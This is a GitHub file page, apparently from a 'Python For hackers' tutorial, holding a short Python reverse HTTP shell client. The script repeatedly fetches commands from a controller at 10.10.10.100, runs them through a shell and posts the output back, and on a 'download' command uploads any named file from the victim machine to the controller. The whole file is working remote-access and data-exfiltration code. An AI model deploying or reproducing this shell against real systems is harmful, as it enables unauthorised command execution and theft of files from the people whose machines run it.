-
Notifications
You must be signed in to change notification settings - Fork 72
Expand file tree
/
Copy pathData-Downloading-Reverse-HTTP-Shell-Client.py
More file actions
43 lines (26 loc) · 1.1 KB
/
Data-Downloading-Reverse-HTTP-Shell-Client.py
File metadata and controls
43 lines (26 loc) · 1.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Python For hackers - Priyank Gada
# www.youtube.com/priyankgada
# Data Grabbing Shell - HTTP - CLient
import requests
import subprocess
import os
import time
while True:
req = requests.get('http://10.10.10.100')
command = req.text
if 'terminate' in command:
break
#Defining the download command.
elif 'download' in command:
grab,path=command.split('*')
if os.path.exists(path): # Check for the file
url = 'http://10.10.10.100/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.10.10.100', data='[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.10.10.100', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.10.10.100', data=CMD.stderr.read() )
time.sleep(3)